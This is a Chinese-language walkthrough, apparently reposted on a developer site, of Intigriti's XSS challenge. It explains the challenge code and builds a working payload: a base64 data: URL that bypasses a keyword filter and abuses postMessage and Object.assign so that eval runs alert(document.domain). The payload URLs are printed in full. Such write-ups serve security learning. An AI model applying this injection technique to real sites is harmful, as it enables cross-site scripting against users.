Intigriti XSS挑战全教程

栏目: 编程工具 · 发布时间: 7年前

内容简介:Intigriti近期发布了一个非常有意思的XSS挑战项目,该项目要求我们制作一个特殊的URL,而这个URL不仅要能够给iframe分配src参数,而且还要能够发送eval()调用来弹出一个“alert(document.domain)”弹窗,这就是这项XSS挑战的目标和要求。那我们应该怎么做呢?接下来,我们一起看一看实现这个目标需要哪些步骤和方法。注意:最终的漏洞以及漏洞利用代码只适用于Chrome,所以我们推荐大家使用Chrome浏览器来进行测试。

Intigriti XSS挑战全教程

写在前面的话

Intigriti近期发布了一个非常有意思的XSS挑战项目,该项目要求我们制作一个特殊的URL,而这个URL不仅要能够给iframe分配src参数,而且还要能够发送eval()调用来弹出一个“alert(document.domain)”弹窗,这就是这项XSS挑战的目标和要求。那我们应该怎么做呢?接下来,我们一起看一看实现这个目标需要哪些步骤和方法。

注意:最终的漏洞以及漏洞利用代码只适用于Chrome,所以我们推荐大家使用Chrome浏览器来进行测试。

代码分析

现在,我们暂时先不要过多考虑XSS以及XSS漏洞利用方面的东西,首先我们要做的就是搞清楚这个XSS挑战项目所要涉及到的JavaScript代码。

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
  if(e.source == iframe.contentWindow){
    e.data.location = window.location;
    Object.assign(window, e.data);
    eval(url);
  }
}

1、 上述代码首先获取的是当前页面URL的哈希值,并根据哈希解码URL实体,然后使用字符串“forbidden”替换掉了所有的“script”、“<”或“>”实例。最终代码运行完之后,会分配一个“url”变量。

2、 接下来,代码会在当前页面中创建一个iframe,这个iframe的src参数值就是之前创建的“url”变量,然后将这个URL地址加载进iframe中。

3、 当iframe加载完毕之后,我们会开始监听message事件,并在监听到message事件后调用executeCtx。

4、 executeCtx函数的功能定义如下:

a) 该函数会确保事件来自于这个iframe;

b) 事件中Payload的“location”属性会根据当前窗口的“location”参数进行重写,并保护当前地址不会重定向至其他URL;

c) Payload对象的每一个参数都会分配当前窗口的Object.assign(window、e.data),这也就意味着,任何发送给executeCtx()函数的值都会在window中定义;

d) 通过eval()函数对url变量进行处理;

仔细阅读完上述代码之后,我脑海中第一个反应就是:message事件是个什么玩意儿?翻了半天文档之后,我发现这是一个用于跨源通信的API,它使用了window.postMessage方法来允许我们向任何监听message事件的组件发送对象。这就非常有意思了!

XSS漏洞利用

既然我们的目标是找到一个XSS漏洞并利用之,那“eval(url)”明显就是我们的目标了。一开始,对于如何利用“url”参数来寻找并利用XSS漏洞,我是毫无头绪的,但这个阶段暂时不用过多关注XSS方面的东西。我当前主要关注的东西就是“eval()”。不过,在真正利用eval()调用之前,我们还有很多操作和步骤需要做,但如果能够成功,我们就离最终的XSS漏洞不远了。不过现在,大家先把XSS的事情放一放。

一步一步实现漏洞利用

Iframe中的JavaScript

根据我以往的经验,这种情况下的XSS漏洞一般都跟Data URL(前缀为data:的URL)有关。Data URL允许我们使用Base64来编码Payload,因此这样就可以轻松绕过

.replace(/script|<|>/gi, "forbidden")

过滤器了。

我尝试了以下地址参数:

https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTs8L3NjcmlwdD4=

即<script>alert(‘hi’);</script>的Base64编码格式,并成功实现了alert弹窗。但是alert(document.domain)并没有在iframe中成功运行,因为这是一个Data URL,其中并不包含域名。虽然现在有了弹窗警告框,但是我想要的是在iframe外部实现它,所以我们现在还没成功。

向父窗口发送消息

在现在这个阶段,我们的目标仍然是eval(url)。现在,我们需要发送一条消息来运行executeCtx()函数。我尝试了刚才了解到的那个API,并使用了下列脚本代码:

<script>window.postMessage("test", "*")</script>

postMessage()函数的第二个参数是我们的目标源,这里我们传入的是”*”,虽然这样做不安全(任何人都可以拦截到我的消息),不过这不是我们在这里需要考虑的事情。最终编码后的URL如下:

https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucG9zdE1lc3NhZ2UoInRlc3QiLCAiKiIpPC9zY3JpcHQ+.

运行之后竟然没有效果!我在executeCtx()中设置了一个断点,但是并没有被触发。所以我去翻了一下MDN文档,并查看了postMessage函数的调用方式:

Intigriti XSS挑战全教程

原来,postMessage()必须在接收消息的窗口中被调用。对Payload进行修改之后,我们就能实现我们的目标了,修改后的代码如下:

<script>window.parent.postMessage("test", "*")</script>

我需要主window接收到这条消息,那么对于iframe来说,我们要用的就是window.parent了。新生成的URL如下:

https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJ0ZXN0IiwgIioiKTwvc2NyaXB0Pg.

非常好,现在我们就可以在executeCtx中触发JavaScript错误了:

(index):31 Uncaught TypeError: Failed to set an indexed property on 'Window': Index property setter is not supported.
    at Function.assign (<anonymous>)
    at executeCtx ((index):31)

这是因为我们的数据类型位字符串类型,触发错误的地方在“Object.assign(window, e.data);”这一行。我们先试试传递一个空对象进去,修改后的Payload如下:

<script>window.parent.postMessage({}, "*")</script>

编码后的URL地址如下:

https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+

运行之后,我们接收到了eval(url)抛出的异常,异常信息为“Uncaught SyntaxError: Unexpected end of input”。所以,这个函数是法处理url变量外的有效JavaScript代码,而这里url变量设置的值为:

data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+

可是,它怎么看都不像JavaScript代码啊…

把URL变成JavaScript

现在,我们的目标就变成了如何让eval(url)来解析有效的JavaScript代码(现在我们仍不需要考虑XSS利用方面的问题)。我知道很多东西都可以通过编码来转变成JavaScript代码,比如说JSFuck之类的。所以我尝试在控制台中运行了下列代码:

eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+')

正如我们所期待的那样,代码抛出了之前相同的错误:“Unexpected end of input”,这就意味着解析器还需要我们传入另一个参数。我设计的URL结尾是一个“+”,不过对于JavaScript来说,这个字符其实没啥作用,所以我把它删掉了。但是这样会让我的Base64编码字符串失效,这个可以之后再处理了。

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM42:1 Uncaught ReferenceError: text is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:6)
    at <anonymous>:1:1

“text”未定义?什么鬼!这里我专门定义了一个“text = 1”,然后再次运行我的eval():

> text = 1
1
> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM70:1 Uncaught ReferenceError: html is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:11)
    at <anonymous>:1:1

结尾没有“+”符号的URL是有效的JavaScript,下面给出的是带有缩进格式和注释的URL:

data: // a label for a goto
text/html; // divides the variable text by the variable html
base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ // evalutes the base64 variable and the PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ variable then returns the latter (see , operator)

虽然这些代码看起来怪怪的,但它确实是有效的JavaScript代码。字符串结尾的“+”字符只是Base64编码的标准格式,无需过多关注。如果字符串结尾部分为“+”,我将添加无效字符来填充Base64编码,并且让最终的编码字符串为一个有效的变量名。

XSS漏洞利用

现在,我们可以用编码后的JavaScript来调用eval()函数了。那么接下来,我们应该把“alert(document.domain)”放在哪儿呢?没错,我们还是得回去翻一下MDN文档,,查看一下关于Data URL的更多内容:

Intigriti XSS挑战全教程

其中的“;charset=US-ASCII”成功吸引到了我的注意。我是不是可以把我的Payload放在这里呢?而且这跟JavaScript的格式也很像!所以我在控制台中尝试了下列代码:

> text = 1
1
> html = 1
1
> eval('data:text/html;charset=alert(1);base64,whatever')
Uncaught ReferenceError: base64 is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:33)
    at <anonymous>:1:1

终于成功了!警告弹窗一切正常,虽然代码报错“base64未定义“,但最终的Base64编码在弹窗时还是成功的,所以我也不想管它了。接下来,我们在Web页面上尝试一下。我把我的Payload修改为了:

<script>window.parent.postMessage({text:1, html:1, base64:1}, "*")</script>hi intigriti

别忘了,“Object.assign(window, e.data)“这一行可以根据我传递过来的消息去定义“text”和“html”变量。结尾的“hi intigriti”只是为了替换掉之前base64编码Payload结尾的“+”。

现在我的URL编码地址如下:

https://challenge.intigriti.io/#data:text/html;charset=alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp

但是,好像这个URL并没有什么用…

我们可以直接在浏览器地址栏中输入Payload,下面这个URL会弹出一条“This site can’t be reached”的错误信息,后来我才发现出问题的地方在于“alert(1)”。

最终解决方案

https://challenge.intigriti.io/#data:text/html;alert(document.domain);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp

Intigriti XSS挑战全教程

终于成功啦!!!

总结

1、 想要了解你想要攻击的代码是非常重要的,而且需要花很多的时间和精力。

2、 不要太过专注于最终的目标,我们要好好计划中间步骤,并针对这些步骤来稳扎稳打的走好每一步,曲线救国也是不错的思路。

3、 如果你没有思路的话,不要着急,给自己一点时间和耐心,按照计划一步一步去走就好,最终我们都会成功的!


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Rationality for Mortals

Rationality for Mortals

Gerd Gigerenzer / Oxford University Press, USA / 2008-05-02 / USD 65.00

Gerd Gigerenzer's influential work examines the rationality of individuals not from the perspective of logic or probability, but from the point of view of adaptation to the real world of human behavio......一起来看看 《Rationality for Mortals》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具